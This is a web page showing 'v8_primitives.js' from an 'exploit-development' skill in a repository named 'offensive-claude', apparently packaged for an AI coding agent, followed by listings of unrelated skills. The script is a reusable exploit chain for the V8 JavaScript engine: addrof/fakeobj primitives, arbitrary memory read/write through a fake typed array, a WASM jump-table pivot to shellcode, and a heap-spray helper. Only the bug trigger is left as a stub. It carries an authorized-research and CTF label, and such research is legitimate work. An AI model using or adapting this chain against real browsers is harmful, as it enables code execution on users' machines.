Skip to content

hypnguyen1209/offensive-claude / skills/exploit-development

exploit-development

Verified

Use when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox

scripts/v8_primitives.js

View on GitHub
// v8_primitives.js - Reusable V8 exploitation primitives skeleton (addrof/fakeobj ->
// arbitrary R/W -> WASM jump-table pivot). Authorized research / CTF use only.
//
// Run under a debug d8:  d8 --allow-natives-syntax --shell v8_primitives.js
// In a real exploit the `confuse()` trigger is supplied by the specific bug (e.g. a
// TurboFan/Maglev type confusion as in CVE-2025-13223 / CVE-2024-12693). Here it is a
// pluggable hook so the rest of the chain is testable in isolation.
//
// Notes:
//  - Pointers are 32-bit *compressed* on a stock V8; R/W is within the V8 heap cage.
//  - The WASM jump-table escape works only where the jump table is still in-cage and
//    must be version-pinned (resolve offsets from your d8 build with %DebugPrint).

"use strict";

const dv = new DataView(new ArrayBuffer(8));
function f2i(f) { dv.setFloat64(0, f, true); return dv.getBigUint64(0, true); }
function i2f(i) { dv.setBigUint64(0, i, true); return dv.getFloat64(0, true); }
function hex(x) { return "0x" + x.toString(16); }

// --- bug-specific trigger (REPLACE with the real type-confusion primitive) ----------
// Must leave `float_view` and `obj_view` aliasing the same backing store so that an
// object pointer stored via obj_view is readable as a double via float_view.
let float_view = [1.1, 2.2, 3.3, 4.4];   // PACKED_DOUBLE_ELEMENTS
let obj_view   = [{}, {}, {}, {}];        // PACKED_ELEMENTS
function confuse() {
    // Placeholder: a real bug makes these two arrays share elements (element-kind
    // confusion). For local testing with %ArrayBufferDetach-style harnesses, wire it up.
    // throw if not patched in:
    if (typeof %_TheHole === "undefined") { /* keep eslint quiet */ }
}

// --- addrof / fakeobj -----------------------------------------------------------------
function addrof(o) {
    obj_view[0] = o;
    confuse();
    return f2i(float_view[0]) & 0xffffffffn;   // compressed 32-bit pointer
}
function fakeobj(addr) {
    float_view[0] = i2f(addr & 0xffffffffn);
    confuse();
    return obj_view[0];
}

// --- arbitrary R/W via a fabricated Float64Array (in-cage) ----------------------------
// Build a controller buffer that overlays a fake JSTypedArray header; flipping its
// backing-store/base pointer lets us read/write chosen (in-cage) addresses.
let controller = new Float64Array(8);
function makeRW(taMapPtr, baseSlotIndex) {
    // taMapPtr: the Map of a real Float64Array (leak via addrof + read of [map] slot)
    // baseSlotIndex: index into `controller` aliasing the TA base/backing pointer
    controller[0] = i2f(taMapPtr);
    let fake = fakeobj(addrof(controller) + 0x10n);  // overlay header inside controller
    return {
        read64(addr) {
            controller[baseSlotIndex] = i2f(addr & 0xffffffffn);
            return f2i(fake[0]);
        },
        write64(addr, val) {
            controller[baseSlotIndex] = i2f(addr & 0xffffffffn);
            fake[0] = i2f(val);
        },
    };
}

// --- WASM jump-table pivot (sandbox-escape concept) -----------------------------------
// 1. Instantiate a minimal WASM module; its exported function is dispatched through an
//    in-cage jump table that points at JIT-compiled (RWX) code.
// 2. Overwrite a jump-table entry to point at a region we primed with shellcode bytes.
const WASM_BYTES = new Uint8Array([
    0x00,0x61,0x73,0x6d, 0x01,0x00,0x00,0x00,        // magic + version
    0x01,0x05,0x01, 0x60,0x00,0x01,0x7f,             // type: () -> i32
    0x03,0x02,0x01,0x00,                              // func 0 : type 0
    0x07,0x08,0x01, 0x04,0x6d,0x61,0x69,0x6e, 0x00,0x00, // export "main" -> func 0
    0x0a,0x06,0x01, 0x04,0x00, 0x41,0x2a, 0x0b        // body: i32.const 42; end
]);
function wasmPivot(rw, shellcodeRegionAddr, WASM_INSTANCE_JT_OFF) {
    const mod = new WebAssembly.Module(WASM_BYTES);
    const inst = new WebAssembly.Instance(mod);
    const instAddr = addrof(inst);
    const jtPtr = rw.read64(instAddr + BigInt(WASM_INSTANCE_JT_OFF));  // version-pinned
    rw.write64(jtPtr, shellcodeRegionAddr);   // redirect exported func -> our code
    return inst.exports.main;                 // call() jumps to attacker code (in-cage RWX)
}

// --- generic UAF reclaim helper -------------------------------------------------------
let _spray = [];
function reclaimSlot(sizeBytes, controlledBytes) {
    for (let i = 0; i < 0x2000; i++) {
        const ab = new ArrayBuffer(sizeBytes);
        new Uint8Array(ab).set(controlledBytes.subarray(0, sizeBytes));
        _spray.push(ab);   // keep alive so the reclaimed slot stays controlled
    }
}
function forceGC() { for (let i = 0; i < 1e6; i++) { new Object(); } }

// Export for harness/REPL use
this.addrof = addrof;
this.fakeobj = fakeobj;
this.makeRW = makeRW;
this.wasmPivot = wasmPivot;
this.reclaimSlot = reclaimSlot;
this.forceGC = forceGC;
this.hex = hex;
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 197kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall